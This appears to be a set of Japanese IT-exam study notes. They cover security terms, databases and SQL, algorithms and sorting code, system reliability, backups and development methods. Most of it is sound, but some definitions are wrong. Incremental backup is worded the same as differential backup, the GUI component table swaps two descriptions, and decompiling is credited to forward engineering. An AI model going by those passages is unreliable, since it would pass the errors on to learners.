アプリケーションゲートウェイ型のファイヤーウォールにはWAF(Web Application Firewall) があり、Webアプリケーションに対する外部アクセスを監視するもので、パケットフィルタリングと異なり、通信データの中身までチェックすることで悪意を持った攻撃を検知する。

ペネトレーションテスト

ペネトレーションテストは既存手法を用いて実際に攻撃を行い、これによりシステムのセキュリティホールや設定ミスと言った脆弱性の有無を確認するテストのこと。

侵入検知システム

侵入検知システムはIDSとも呼ばれ、コンピュータやネットワークに対する不正行為を検出し通知するシステム。

rootkit

rootkit(ルートキット) は攻撃者が不正アクセスに成功したコンピュータを制御できるようにするソフトウェアの集合のこと。

rootkitには侵入の痕跡を隠蔽するログ改ざんツールや、リモートからの侵入を簡単にするバックドアツール、改ざんされたシステムツール群などが含まれる。

SIEM

SIEM(Security Information and Event Management)はファイヤウォールやIDS、プロキシなどからログを集めて総合的に分析すること。

SIEMツールは異常を自動検知し、管理者が迅速に対応できるようにする支援する仕組みのこと。

1.7 - 7.データベース

データベースのキホン

7.1. データベースの基礎

7.1.1. DBMSと関係データベース

DBMSはデータベース管理システムのことであり、データベースの定義や操作制御などの機能を持つミドルウェアである。

データベースには関係型階層型ネットワーク型の3種類があり、関係型が現在の主流である。

階層型データベース

階層型データベースはデータを木のような形の階層構造で表す

関係型データベース

関係型データベースはデータを行と列による二次元表で表し福栖の表を組み合わせてデータを管理するもの。**リレーショナルデータベース(RDB)**とも呼ばれる。

ネットワーク型データベース

ネットワーク型データベースはデータを網目のような構造で表す

7.2. 関係データベース

7.2.1. 関係型データベース

関係データベースは表の形でデータを管理するデータベースであり、表で構成される。 また関係データベースはリレーショナルデータベース(RDB) と呼ばれる。

種類説明
表(テーブル)複数のデータを収容する場所
行(レコード)1件分のデータを表す
列(フィールド)データを構成する項目を表す

7.2.2. 主キーと外部キー

主キー

主キーは行を一意に識別するための列のこと。 また、値が空でなく他の行と重複しないことは主キー制約と呼ばれる。

外部キー

外部キーは表の列のうち他の表の主キーとして使われている列のこと。

外部キー

7.3. 表の操作

7.3.1. 関係演算

関係演算は表の中から特定の行や列を取り出したり、表と表をくっつけ新しい表を作り出したりする演算のことである。

関係演算には選択、射影、結合などがある。

  • 選択 ・・・ 行を取り出す演算
  • 射影 ・・・ 列を取り出す演算
  • 結合 ・・・ 表同士を結合する演算

7.3.2. ソートマージ結合法

ソートマージ結合法は結合する列の値で並べ替えたそれぞれの表の行を先頭から準備結合する方法のこと。

7.4. データの正規化

7.4.1. 正規化とは

関係データベースにおいて蓄積データの重複や矛盾が発生しないように最適化するのが一般的である。

同じ内容を表のあちらこちらに書かないように表を分割するなどすることは正規化と呼ばれる。

データ

7.4.2. 第N正規化

非正規形(正規化を行っていない元の形の表)を何回か正規化を行い最適化行う。

正規化説明
非正規形正規化されていない繰り返し部分を持つ表
第1正規形繰り返し部分を分離させ独立したレコードを持つ表
第2正規形部分関数従属しているところを切り出した表
第3正規形主キー以外の列に関数従属している列を切り出した表

第1正規形

非正規形の表から繰り返し部分を取り除いたものは第1正規形となる。

第2正規形

第1正規形の表から部分関数従属している列を分離した表が第2正規形の表である。

第3正規形

第2正規形の表から主キー以外の列に関数従属している列を分離した表が第3正規形の表である。

7.4.3. 関数従属と部分関数従属

  • 関数従属 ・・・ 主キーが決まったとき列が一意に定まる関係
  • 部分関数従属 ・・・ 複合キー日舞の項目のみで列の値が一意に定まる関係

関数

7.5. SQL

7.5.1. SQLによるデータベース操作

SQL(Structured Query Language)はDBMSへ指示を伝えるために用いる言語である。 SQLには表の定義(CREATE)やレコードの挿入(INSERT)、削除(DELETE)、レコードの一部を更新(UPDATE)する命令がある。

これらの命令はスキーマ定義や表の作成を担当するデータ定義言語(DDL) とデータの抽出や挿入、更新、削除といった操作を担当するデータ操作言語(DML) に区別できる。

7.5.2. SELECT文

SELECT文の基本書式は以下の通り。

SELECT 列名 FROM 表名 WHERE 条件

特定の列の抽出(射影)

SELECT 列名 FROM 表名

特定の行の抽出(選択)

SELECT * FROM 表名 WHERE 条件式

なお条件式には比較演算子や論理演算子を用いる。

表同士の結合(結合)

SELECT * FROM 表名1, 表名2 WHERE 表名1.ID = 表名2.ID

7.5.3. ORDER文

ORDER文は抽出結果を整列させておきたい場合に用いる。

ORDER BY 列名 ASC(or DESC)

ASC:昇順、DESC:降順

例)商品表の価格順に商品表を並べる場合

SELECT * FROM 商品表 ORDER BY 単価

7.5.4. 関数を使った集計

SQLにはデータを取り出す際に集計を行う様々な関数が用意されている。

関数説明
MAX(列名)列の最大値を求める
MIN(列名)列の最小値を求める
AVG(列名)列の平均値を求める
SUM(列名)列の合計を求める
COUNT(*)行数を求める
COUNT(列名)列の値が入っている行の数を求める

例)扱う商品の数を取り出す場合 SELECT COUNT(*) FROM 表

7.5.5. GROUP文

グループ化は特定の列が一致する項目をまとめて1つにすることを指す。

グループ化には以下文を用いる。

GROUP BY 列名

グループの条件絞り込み

グループ化なおかつそこから条件を絞り込む場合はHAVINGを用いる。

GROUP BY 列名 HAVING 絞り込み条件

7.6. データベース管理システム

7.6.1. データベース管理システム(DBMS)

7.6.2. トランザクション管理機能

トランザクションはデータベースにおいて一連の処理をひとまとめにしたもの。複数人がデータベースにアクセスし同時変更などをした際にデータ内容に不整合が生じる問題からデータベースを守る処理の1つ。

7.6.3. 排他制御機能

排他制御は処理中のデータをロックし、他の人が読み書きできないようにする機能である。複数人がデータベースにアクセスし同時変更などをした際にデータ内容に不整合が生じる問題からデータベースを守る処理の1つ。

ロックする方法には共有ロックと専有ロックがある。

共有ロック

各ユーザはデータを読むことはできるが、書き込みができない状態。 データベースを参照する際にかけるロックのこと。

専有ロック

他ユーザはデータを読み書きすることができない。 データベースを更新する際にかけるロックのこと。

7.6.4. デットロック

デットロックはロック機能を使いすぎると起こる可能性があるもの。

デットロック

7.6.5. ACID特性

DBMSではトランザクション処理に対して4つの特性(ACID特性)が必要とされる。

ACID

7.6.6. データベースのリカバリ機能

ロールフォワード

データベース自体が突然障害に見舞われた場合、ロールフォワードと呼ばれるバックアップ以降の更新ジャーナルから更新情報を取得し、データベースを障害発生直前の状態に復旧させる一連の処理を行う。

ロールバック

トランザクション処理中に障害が発生し更新に失敗した場合、データベース更新前の状態を更新前ジャーナルから取得し、ロールバックと呼ばれるデータベースをトランザクション処理直前の状態に戻す処理を行う。

7.6.7. 再編成機能

再編成機能はアクセス効率を向上させるための機能で、データベースが頻繁に更新されるとデータの物理的な格納位置が不規則になるといったものを修復するものである。

7.6.8. インデックス機能

DBMSはインデックスを用いてデータ検索を高速化する機能がある。

オプティマイザ

オプティマイザはSQLを実行するときに実行時間を最小化するように処理の方法を決める機能のこと。データ検索などのときにテーブル全体にアクセスするのとインデックスを使用して探すのどちらが効率が良いか予測して選択する。

7.7. データベースの応用技術

7.7.1. 分散データベースと2相コミット

物理的に分かれている複数のデータベースを見かけ上1つのデータベースとして扱えるようにしたシステムは分散データベースシステムと呼ばれる。

これはトランザクション処理が各サイトにわたり行われるので、全体の同期をとりコミット、ロールバックを取らないと、データの整合性が取れなくなる恐れがある。 そのため全サイトに問い合わせを行い、その結果を見てコミット、ロールバックを行う。この処理は2相コミットと呼ばれる。

1.8 - 8.アルゴリズムとデータ構造

各種アルゴリズム

8. アルゴリズムとデータ構造

8.1. アルゴリズム

8.1.1. アルゴリズムとは

アルゴリズムは問題を解決したり目標を達成するまでの一連の手順のことを指す。 データをどのような単位で扱い、どのようなタイミングで処理するかといったアルゴリズムの工夫により無駄のない効率の良いプログラムを作成できる。

8.1.2. フローチャート

アルゴリズムの作成にはフローチャートを用いて視覚化する。 フローチャートの処理には順次・選択・繰り返しがある。

フローチャート

8.1.3. 変数と代入

変数はプログラムで称する文字や数字を格納する入れ物のこと。 また、変数にデータを入れる処理は代入と呼ばれる。

8.1.4. トレース

トレースは処理を順番にたどって変数の値や実行結果を確認し、プログラムが正しく動作しているか確認すること

8.1.5. 擬似言語

擬似言語はアルゴリズムを記述する方法でフローチャートのような図形を使わず文章や記号でアルゴリズムを記述する方法

疑似言語

8.2. 配列

8.2.1. データ構造

データ構造は扱うデータをどのような方法で保持するか決めたもののこと。 主なデータ構造には配列・キュー・スタック・リスト構造・木構造がある。 なおどの構造を用いるかにより処理効率が大きく変わる。

8.2.2. 配列

配列は同じ型のデータの集まりを順番に並べたデータ構造のこと。 配列はデータを整理したり探したりするときによく使用され、データの場所を表す添え字はインデックス、配列データの各入れ物は要素と呼ばれる。

8.3. キューとスタック

8.3.1. キュー

キューは待ち行列が前から順番にさばくように1次元配列で1列に格納されたデータを入れた順番に取り出すデータ構造のこと。 このデータの取り出し方はFIFO(First In First Out)を呼ばれる。 データを入れることはエンキュー、取り出すことはデキューと言われる。

キュー

8.3.2. スタック

スタックは最後に入れたデータから先に取り出す、新しいデータから順番に使う構造のこと。 このデータの取り出し方はLIFO(Last In First Out)を呼ばれる。 データを入れることはプッシュ、取り出すことはホップと言われる。

スタック

8.4. リスト構造

8.4.1. リスト構造

リスト構造はデータの格納場所が書かれたポインタを使い、離れた場所にあるデータ同士をつないで順番に並べたデータ構造のこと。線形リストや結合リストとも呼ばれる。

リスト構造ではデータとポインタをセットにして扱い、先頭から順にポインタをたどることで各データにアクセスする。 途中のデータ追加や削除が多い処理はリスト構造が配列よりも適している。

リスト構造

リスト構造の特徴

リスト構造ではデータ間をポイントで繋いでいるため、データの追加や削除がポインタだけで済み、要素戸数や位置によらず短期間で処理できる特徴がある。

また、リストの特徴として、ポインタ順にデータをたどるため、配列のように添え字を使い各データに直接アクセスする使い方はできない。

8.4.2. リスト構造の種類

単方向連結リスト

単方向連結リストはデータの後ろにポインタを1つだけ持つリスト構造のこと。

単方向連結リスト

双方向連結リスト

双方向連結リストは前後のデータへのポインタを持つリスト構造のこと。

双方向連結リスト

循環連結リスト

循環連結リストは単方向リストと同じで次のデータへのポインタを持つリストのこと。 単方向リストとの違いは最後尾のデータが先頭データへのポインタを持っているところにある。

循環連結リスト

8.5. 木構造

8.5.1. 木構造とは

木構造はデータ同紙に階層的な親子関係や主従関係を持たせたデータ構造のこと。OSのファイル管理構成などは木構造になっている。

木構造

木構造の各データは節(ノード)、木構造の根っこ部分を根(ルート)、一番下の部分はと呼ばれる。また各データは枝でつながっている。

木構造ではデータは親子関係になっており、結ばれた上の節を親、下の節を子と呼ぶ。

8.5.2. 2分木

2分木は根やそれぞれの節から出る枝がすべて2本以下の木のこと。 また、根から葉までの枝の数がすべて一緒の2分木は完全2分木という。

2分木

8.5.3. 2分探索木

2分探索木はどの節においても常に「親のデータが左部分木のデータより大きく、右部分木のデータよりも小さい」条件を満たした状態の木(「左<親<右」)のこと。

2分探索木

2分探索木のデータ探索

2分探索木の中にあるデータを最短で探し出すには、探しているデータの根の値を比較する。この探索ではデータが見つかるか、データが見つからず節がなくなるまで繰り返すことでデータを探索できる。

節の追加や削除による2分探索木の再構成

新たな節を追加する場合はデータ探索と同様の方法で正しい地に追加できる。 また、2分探索木から節を削除する場合は節の削除により2分探索木の性質を失わないように、2分探索木を再構成する必要がある。

8.5.4. ヒープ

ヒープは2分木のうち全ての節で「親>子」が成り立つ状態の木のこと。

8.6. 探索アルゴリズム

8.6.1. 探索とは

探索(サーチ)は沢山のデータから目的のデータを見つける事を指す。 データの探索にはデータ構造の特徴にあったアルゴリズムを使う必要があり、代表的なものには線形探索法2分探索法ハッシュ探索法がある。

8.6.2. 線形探索法

線形探索法(リニアサーチ)は先頭から順に探索していく方法のこと。 線形探索法では番兵と呼ばれる目的のデータを配列最後尾につけることでフロー処理の簡素化を行える。

特徴は以下の通り。

  • 整列されていないデータの探索に向いている
  • 総当たり探索になる
  • 大量のデータ探索には不向き

なお平均比較回数(平均探索回数)は(n+1)/2回(nはデータ範囲の最大値)となる。

線形探索法

8.6.3. 2分探索法

2分探索法(バイナリサーチ)はあらかじめデータが小さい順か大きい順に整列されている際に使用されるアルゴリズム。手順は以下の通り。

  1. データ構造の真ん中のデータを求めているデータと比較する
  2. 求めているデータに近い方の範囲(右か左)を絞り込む
  3. 絞り込んだ範囲の真ん中のデータと求めているデータを比較する
  4. 1から3を繰り返すと求めたいデータが求まる

なお平均比較回数(平均探索回数)はlog2N回(nはデータ範囲の最大値)となる。

2分探索法

8.6.4. ハッシュ探索法

ハッシュ探索法はデータの格納場所のアドレス値をあらかじめ関数を使った計算で決めておくアルゴリズムのこと。また格納先を決めるために用いられる関数はハッシュ関数、ハッシュ関数により求められるアドレスの値をハッシュ値という。

特徴として、衝突(シノニム)が発生しない限りハッシュ探索法では検索データは1回で見つかる

なお衝突が起こった際は各配列の各要素をリスト構造にして新しい場所に格納する

ハッシュ

8.7. 整列アルゴリズム

データを小さい順(昇順)または大きい順(降順)に並べることは整列と呼ばれる。

8.7.1. 交換法(バブルソート)

バブルソートでは隣接するデータの大小を比較し、必要に応じて入れ替えることで全体を整列させる

データ比較回数はn(n-1)/2回となる。

def bubble_sort(lst):
    n = len(lst)
    for i in range(n):
        for j in range(n-1):
            if lst[j] >= lst[j+1]:
                lst[j], lst[j+1] = lst[j+1], lst[j]
    return lst

8.7.2. 選択法(選択ソート)

選択ソートでは対象とするデータの中から最小値(or最大値)のデータを取り出し、先頭データと交換しこれを1つずつずらして繰り返すことで整列させる

データ比較回数はn(n-1)/2回となる。

def selection_sort(lst):
    n = len(lst)
    for i in range(0, n-1):
        min = i
        for j in range(i+1, n):
            if lst[j] < lst[min]:
                min = j
        lst[i], lst[min] = lst[min], lst[i] 
    return lst

8.7.3. 挿入法(挿入ソート)

挿入ソートではデータ列を「整列済みのもの」と「未整列なもの」に分け、未整列の側からひとつずつ整列済みの列の適切な位置に挿入し、全体を整列させる手法。

def insertion_sort(lst):
    for i in range(1, len(lst)):
        tmp = lst[i]
        j = i - 1

        while j >= 0 and lst[j] > tmp:
            lst[j+1] = lst[j]
            j -= 1
        lst[j+1] = tmp
    return lst

8.7.4. 高度な整列アルゴリズム

シェルソート

シェルソートは挿入ソートを改造したもので、ある一定間隔おきに取り出した要素からなる部分列を整列しさらに間隔を詰めて同様の操作を行い、間隔が1になるまで繰り返して整列させる手法。

シェルソート

クイックソート

中間的な基準値を決めてそれよりも大きな値を集めた区分と小さな値を集めた区分に要素を振り分けてこれを繰り返すことで整列する手法。

クイックソート

ヒープソート

未整列データを順序木(ヒープ)に構成し、そこから最大値(or最小値)を取り出して既整列に移す。これを繰り返して未整列部分をなくしていって整列する手法。

8.8. 再帰アルゴリズム

再帰アルゴリズムはある処理を定義した関数Aの中で同じ関数Aを呼び出して処理する再帰呼び出しを用いたアルゴリズムのこと。

8.9. アルゴリズムの実行時間

8.9.1. オーダ記法(O記法)

オーダ記法はアルゴリズムの計算量(実行時間)をO(式) の形で表すこと。

各アルゴリズムのオーダ

平均計算時間≒オーダ

Image

1.9 - 9.システム構成と故障対策

システムの信頼性/耐障害性を高めるための工夫

9.1. システムの処理形態

9.1.1. システムの構成方法

集中処理

集中処理は1台のコンピュータに処理をさせる方式。 特徴は以下の通り。

  • 管理しやすい
  • システムがダウンしたら全体が落ちる

分散処理

分散処理は複数のコンピュータに分散して処理させる方式。 特徴は以下の通り。

  • いずれかのコンピュータで障害が発生してもシステム維持できる
  • メンテナンスにコストがかかる

9.1.2. システムの処理タイミング

リアルタイム処理(オンライントランザクション処理)

リアルタイム処理は要求された処理をすぐに行う方法のこと。 リアルタイム処理を行うシステムは決められた時刻までに処理を終了することを要求されるが、その厳密性により2つの種類に分けられる。

  • ハードリアルタイムシステム
    • 決められた時刻までに処理を終了できない場合に、システムや使う人に対し致命的なダメージが発生する
  • ソフトリアルタイムシステム
    • 決められた時刻までに終了できなくても致命的な問題は発生しない

バッチ処理

バッチ処理はまとまったデータを一括で処理すること。 リアルタイムにすぐに反映する必要のない処理の場合、一定期間ごとに処理をまとめて実行する。

9.2. クライアントサーバシステム

9.2.1. クライアントサーバシステムの構成

クライアントサーバシステムは現在の主流の処理形態。 これは基本的には分散処理を行い、ネットワーク上の役割を2つに分け集中して管理や処理を行う部分をサーバとして残すことが特徴

9.2.2. 3層クライアントサーバシステム

クライアントサーバシステムの機能をプレゼンテーション層、ファンクション層(アプリケーション層)、データ層の3つに分けて構成するシステムのこと。 これに対し通常のクライアントサーバシステムのことは2層クライアントサーバシステムと呼ばれている。

3層クライアントサーバシステムでは各層の役割が独立しており、クライアントの環境が異なっても同じ機能を提供できる特徴がある。

9.2.3. シンクライアントシステムとP2P

シンクライアント

シンクライアントにおけるクライアント側の端末は入力や表示部分を担当するだけで情報の処理や保管はすべてサーバに任せる。

ピアツーピア(P2P)

ピアツーピアは完全分散処理型のシステム。これはネットワーク上で協調動作するコンピュータ同士が対等な関係でやり取りをするものでサーバなどの一次元的に管理するものが必要としない。

9.3. 高信頼化システムの構成

9.3.1. 2系統のシステム構成

デュアルシステム

デュアルシステムは2組のシステムを使って信頼性を高めるもの

このシステムでは2組のシステムが同じ処理を行いながら、処理結果を互いに突き合わせて誤動作していないかを監視する。

いずれかが故障した場合に異常の発生したシステムを切り離し、残る片方だけでそのままの処理を継続する。

デュプレックスシステム

デュプレックスシステムは2組のシステムを用意するのはデュアルシステムと同じである。

このシステムでは主系が正常に動作している間、従系ではリアルタイム性の求められないバッチ処理などの作業を担当する。また主系が故障した場合には従系が主系の処理を代替するように切り替わる

方式説明
ホットスタンバイあらかじめ主系の処理を引き継ぐために必要なプログラムを起動しておくことで瞬時に切り替える待機方法
コールドスタンバイ従系は出番が来るまで別の作業をしていたり電源がOFFだったりして、切り替え時に時間がかかる。なおその分コストダウンが可能

9.3.2. 負荷分散のシステム構成

マルチプロセッサシステム

マルチプロセッサシステムは複数のCPUを用意するシステムのこと。 これにより処理を分散させ、システム全体の処理時間を短縮する。

マルチプロセッサシステムは主記憶を共有するかしないかにより2種類に分かれる。

方式説明
密結合マルチプロセッサシステム複数のCPUが1つの主記憶を共有し、単一のOSで制御される方式
疎結合マルチプロセッサシステムCPU毎に自分専用の主記憶をもち、それぞれが独立したOSで制御される方式

クラスタリング

クラスタリングは複数のコンピュータを組み合わせて信頼性の高いシステムを構築する手法のこと。

9.4. システムの信頼性設計

9.4.1. 故障対策の基準

フェールトアホイダンス

フェールトアホイダンスは障害そのものを回避するために事前に対策をする考え方。

フェールトトレランス

フォールトトレラントは障害が発生してもシステムを稼働できるように対策を図る考え方。

9.4.2. フェールトトレランスの3つの考え方

フェールセーフ

故障が発生した際に、安全性を確保する方向で壊れるように仕向ける方法

故障の場合は安全性が最優先とする考え方。

フェールソフト

故障が発生した場合にシステム全体を停止させるのではなく機能を一部停止するなどして動作の継続を図る方法

故障の場合は継続性が最優先とする考え方。

フールプルーフ

意図しない使われ方をしても故障しないようにするという考え方

9.4.3. 磁気ディスクの信頼性を上げるRAID

RAIDは複数台のHDDを組み合わせて、あたかも1台のHDDのように扱う手法のこと。これによりHDDの故障などにも備えることができる。

9.5. システムの性能評価

システムの性能を評価する指標にはスループット、レスポンスタイム、ターンアラウンドタイムがある。

これらを評価する手法にはベンチマークテストがある。これは性能測定用のソフトウェアを使って、システムの各処理性能を数値化するものである。

9.5.1. レスポンスタイムとターンアラウンドタイム

レスポンスタイム

レスポンスタイムはコンピュータに処理を依頼し終えてから実際に何か応答が返されるまでの時間を示する。

ターンアラウンドタイム

ターンアラウンドタイムはコンピュータに処理を依頼し始めてその応答がすべて返されるまでに時間を示す。

9.5.2. スループット

スループットは単位時間あたりに処理できる仕事量を表す。

Image

9.6. 信頼性の基準と指標

9.6.1. 信頼性の基準(RASIS)

RASISはシステムの信頼性を評価する概念

Image

9.6.2. システムの信頼性と稼働率

稼働率はトラブルに内部時に使えていた期間を割合として示すものである。 この計算に用いる指標には平均故障間隔(MTBF)平均修理時間(MTTR) などが信頼性などを表す指標として用いられる。

平均故障間隔(MTBF)と平均修理時間(MTTR)とシステム稼働率

Image

9.6.3. 直列システムと並列システムの稼働率

直列システムの稼働率

直列システムの稼働率 = 稼働率A × 稼働率B

並列システムの稼働率

並列システムの稼働率 = 1 - ((1-故障率A) × (1-故障率B))

9.6.4. バスタブ曲線

故障の発生頻度と時間の関係をグラフにしたものはバスタブ曲線と呼ばれる。

Image

9.6.5. システムに必要な経費

システムに必要となるすべてのコストはTCO(Total Cost of Ownership) と呼ばれる。

TCO = 初期コスト + 運用コスト

9.7. バックアップ

バックアップを行う際には以下のような点に注意する。

  1. 定期的にバックアップを行う
  2. バックアップを行う媒体を分ける
  3. 業務作業中にバックアップをしない

バックアップの方法

バックアップには3種類の方法があり、これらを組み合わせることで効率よくバックアップを行うことができる。

フルバックアップ

保存されているすべてのデータをバックアップするのがフルバックアップである。 障害発生時に直前のバックアップだけで元の状態に戻せる。

差分バックアップ

前回のフルバックアップ以降に作成変更されたファイルだけをバックアップするのが差分バックアップである。 障害発生時に直近のフルバックアップと差分バックアップを使い元の状態に戻す。

増分バックアップ

バックアップの種類の関係なく、前回のフルバックアップ以降に作成変更されたファイルだけをバックアップするのが増分バックアップである。 障害発生時は元の状態に復元するために直近となるフルバックアップ以降のバックアップ全てが必要となる。

1.10 - 10.システム/アプリ開発

まあ基本中の基本

10.1. システム開発の流れ

システムは企画→要件定義→開発→運用→保守というフェーズでシステムの一生は表せられ、ソフトウェアライフサイクルと呼ばれる。

開発フロー

10.1.1. 要件定義

この工程は作成するシステムにどんな機能が求められているか明らかにする。 要件を取りまとめた結果について要件定義書という形で文書に残する。

10.1.2. 機能要件と非機能要件

機能要件

業務要件を実現するために必要な機能に関する要件。

非機能要件

システムが満たすべき品質要件、技術要件、運用/操作要件など。

10.1.3. システム設計

要件定義の内容を具体的なシステムの仕様に落とし込む作業のこと。 システム設計は主に3つの段階に分かれる。

外部設計

「利用者から見た」設計を行う。ユーザインターフェスなどの利用者が直接手を触れる部分の設計を行う

内部設計

「開発者から見た」設計を行いう。外部設計を実現するための実装方法やデータ設計などを行う

プログラム設計

プログラムをどう作るかという視点で設計を行う。プログラムの構造化設計やモジュール同士のインターフェス仕様がこれにあたる。

10.2. システム開発手法

System

10.2.1. ウォータフォールモデル

ウォーターフォール

10.2.2. プロトタイピングモデル

プロトタイプ

10.2.3. スパイラルモデル

スパイラル

10.2.4. RAD(Rapid Application Development)

RADは迅速なアプリケーション開発という意味であり、エンドユーザと開発者による少数構成のチームを組み、開発支援ツールを活用するなどして、とにかく短期間で開発することを重要視した開発手法のこと。

RADツールとして有名なのはVIsual Basicのビジュアル開発環境などが該当する。 RADではプロトタイプを作成しそれを評価するサイクルを繰り返すことで完成度を高める。このフェーズが無限に繰り返されないように開発の期限を設けます。これはタイムボックスと呼ばれる。

10.2.5. アジャイル開発とXP(extreme Programming)

アジャイル開発はスパイラルモデルの派生型であり、より短い反復単位を用いて迅速に開発を行う手法である。この開発手法では1つの反復で1つの機能を開発し、反復を終えた時点で機能追加されたソフトウェアをリリースする。

アジャイル開発の一種であるXPは少人数の開発に適用しやすいとされ、既存の開発手法が仕様を固めて行う方式であったのに対し、XPは変更を許容する柔軟性を実現する。

XPでは5つの価値と19のプラクティスが定義されており、そのうち開発プラクティスとして定められているのは以下6つである。

プラクティス説明
テスト駆動開発実装前にテストを定め、テストをパスするように実装を行う。テストは自動テストであることが望まれる
ペアプログラミング2人1組でプログラミングを行う。1人がコードを書きもう1人がコードの検証役になり、互いの役割を入れ替えながら作業を進める
リファクタリング完成したプログラムでも内部のコードを随時改造する。冗長コードを改めるに留める。
ソースコードの共有所有コードの制作者に断りなく、チーム内の誰もが修正を行うことができる。チーム全員がコードの責任を負う
継続的インテグレーション単体テストを終えたプログラムはすぐに結合し結合テストを行う
YAGNI今必要とされるシンプル機能だけの実装に留める

10.3. 業務のモデル化

モデル化は現状のプロセスを抽象化し視覚的に表すことであり、システムが実現すべき機能の洗い出しのために行われる。

代表的なものにDEFER図状態遷移図がある。

10.3.1. DED(Data Flow Diagram)

DEFはデータの流れを図として表したもの。

DFD

DFDの例

DFDEXE

10.3.2. ER図(Entity-Relationship)

ER図は実体関係という概念を用いてデータ構造を図に表したものである。

Image

10.3.3. 状態遷移図

状態遷移図は状態の移り変わりを矢印で表した図のこと。

状態遷移図

10.4. 外部設計

10.4.1. CUIとGUI

CUIは文字を打ち込むことでコンピュータに命令を伝えて処理させる方式。マウスなどは一切用いない。

GUIは画面にアイコンやボタンを表示してそれをマウスなどのデバイスで操作し命令を伝えるグラフィカルな操作方式であり、現在の主流である。

10.4.2. GUIで用いられる部品

部品説明
メニューバアプリケーションの基本領域であり、ここに各コンポーネントが配置される
ウィンドウアプリケーションを操作するための項目が並んだメニュー
プルダウンメニュクリックすると垂れ下がり表示されるメニュー
テキストボックス文字入力用の短形領域である
チェックボックス選択肢を複数選択したり特定の項目をON/OFFさせる用途に用いられる
ラジオボタン複数ある選択肢から1つだけを選ばせるのに用いる

10.5. 詳細設計

各プログラムをモジュール単位に分解・階層化させることはプログラムの構造化設計と言う。

シンプルで保守性に優れたプログラムを作るための構造化設計のためのモジュール分割法には「データの流れに注目した技法」と「データの構造に注目した技法」がある。

10.5.1. モジュール分けの利点と留意点

モジュール分けのメリットとして以下のような点があげらる。

  • 作業の分担が可能
  • 再利用が簡単
  • 修正が一部で済む

モジュール分けした後の作業は3つの制御構造を用いてプログラミングする構造化プログラミングへと移る。

10.5.2. モジュール分割技法

「データの流れ」に着目した技法は以下の3種類。

STS分割法

入力処理変換処理出力処理という3つのモジュール構造に分割する手法

トランザクション分割法

プログラムを一連の処理(トランザクション)単位に分割する方法

共通機能分割法

プログラム中の共通機能をモジュール分割する方法

10.5.3. モジュール独立性を測る尺度

モジュールの独立性を測る尺度として用いられるのはモジュール強度モジュール結合度である。

モジュール強度

強度

モジュール結合度

結合度

10.6. プログラミング

10.6.1. プログラム言語

プログラム言語には低水準言語高水準言語の2種類がある。

低水準言語

コンピュータが理解しやすいプログラム言語のこと。 機械語やアセンブラがある。

高水準言語

人間が理解しやすいプログラム言語のこと。 COBOL、C、C++、Javaなどがある。

10.6.2. 言語プロセッサ

言語プロセッサは人間が記述したプログラム(ソースプログラム)を機械語のプログラムに変換するプログラムのこと。

翻訳の仕方によって、アセンブラコンパイラインタプリタの3種類に分けられる。

アセンブラ

アセンブラ言語で書かれたソースプログラムを機械語に翻訳するもの。

コンパイラ

ソースコードの内容を最初に全て機械語に翻訳するもの。 作成途中で確認のため動かすと言った手法は用いれない。

インタプリタ

ソースコードに書かれた命令を1つずつ機械語に翻訳しながら実行する。逐次翻訳するため動作を確認しながら作っていくことが容易に行える。

10.6.3. コンパイラ方式でのプログラムの実行手順

コンパイラ方式のプログラムの場合、その過程でコンパイラ以外にリンカとローダが使われる。

コンパイラの仕事

Image

リンカの仕事

リンク(連係編集)はプログラムは自分で分割したモジュールやライブラリとしてあらかじめ提供されている関数や共通モジュールなどすべてつなぎ合わせる作業のこと。リンクを行うプログラムはリンカと呼ばれる。

あらかじめリンクさせておく手法は静的リンキングと呼ばれる。またこの時点ではリンクさせず、プログラムの実行時にロードしてリンクする手法は動的リンキングと呼ばれる。

種類説明
静的リンクプログラムを実行する前にリンカによって必要な目的プログラムやライブラリモジュールをリンクする方法
動的リンクプログラム実行中に別のプログラムモジュールの機能が必要になった時にあらかじめ必要なプログラムやライブラリをリンクする方法

ローダの仕事

ロードはロードモジュールを主記憶装置に読み込ませる作業のこと。これを担当するプログラムがローダである。

10.6.4. リバースエンジニアリング

リバースエンジニアリングは既存のソフトウェアの動作を解析することで、プログラムの仕様やソースコードを導き出す手法

目的は既にあるソフトウェアを再利用することで、新規開発を手助けすることである。 これによって得られた仕様をもとに新しいソフトウェアを開発する手法はフォワードエンジニアリングと言う。

フォワードエンジニアリングはオブジェクトコードを逆コンパイルしてソースコードを取り出したりする。 これを元となるソフトウェア権利者の許諾なく行うと知的財産権の侵害にあたるため注意が必要である。

10.7. オブジェクト指向プログラミング

処理の対象をオブジェクトという概念でとらえ、オブジェクトの集まりとしてシステムの設計開発を行うことはオブジェクト指向プログラミングと呼ばれる。

詳細に説明するとオブジェクトはデータ(属性)とそれに対するメソッド(手続き)を一つにまとめた概念である。

オブジェクト指向でプログラムを設計するとモジュールの独立性が高く保守しやすいプログラムの作成が可能。

10.7.1. カプセル化

オブジェクト指向プログラミングではカプセル化できることが大きな特徴。 カプセル化することでオブジェクト内部の構造は外部から知ることができなくなる。つまり、情報隠蔽ができることがカプセル化の利点である。

カプセル化を用いるとオブジェクトの実装方法に修正を加えてもその影響を最小限にとどめることができる。

10.7.2. クラスとインスタンス

オブジェクトはデータとメソッドを定義したものでした。この「オブジェクトがもつ性質」を定義したものはクラスと呼ばれる。

言い換えると、オブジェクトの設計図がクラスであり、データやメソッドを持っている。 この設計図に対して具体的な属性値を与えメモリ上に実体化させたものはインスタンスと呼ばれる。

Image

10.7.3. クラスの階層構造

クラスの基本的な考え方はオブジェクトを抽象化し定義すること。 クラスの階層化というのはクラスに上位、下位の階層を持たせることができるというもの

下位クラスは上位クラスのデータやメソッドの構造を受け継ぐことができます。 上位クラスはスーパクラス(基底クラス) 、下位クラスはサブクラス(派生クラス) と呼ばれます。 サブクラスがスーパクラスの特性を引き継ぐことは継承(インヘリタンス) と呼ばれる。

汎化と特化

汎化は下位クラスが持つ共通性質を抽出し上位クラスとして定義することをさす。 特化は抽象的な上位クラスをより具体的なクラスとして定義すること。 それぞれの関係は下記図のようになる。

Image

集約と分解

下位クラスは上位クラスの特性を分化して定義したもの。上位クラスは下位クラスを集約して定義したものという関係。

Image

多態性(ポリモーフィズム)

多態性は同じメッセージを複数のオブジェクトに送ると、それぞれが独立した固有の処理を行うというもののこと。

10.7.4. UML(Unified Modeling Language)

UMLはオブジェクト指向分析・設計において用いられる統一モデリング言語である。

またこれは複数人で設計モデルを共有してコミュニケーションをとるための手段。 UMLでは13種類の図が規定されている。これらはダイヤグラムと呼ばれる。
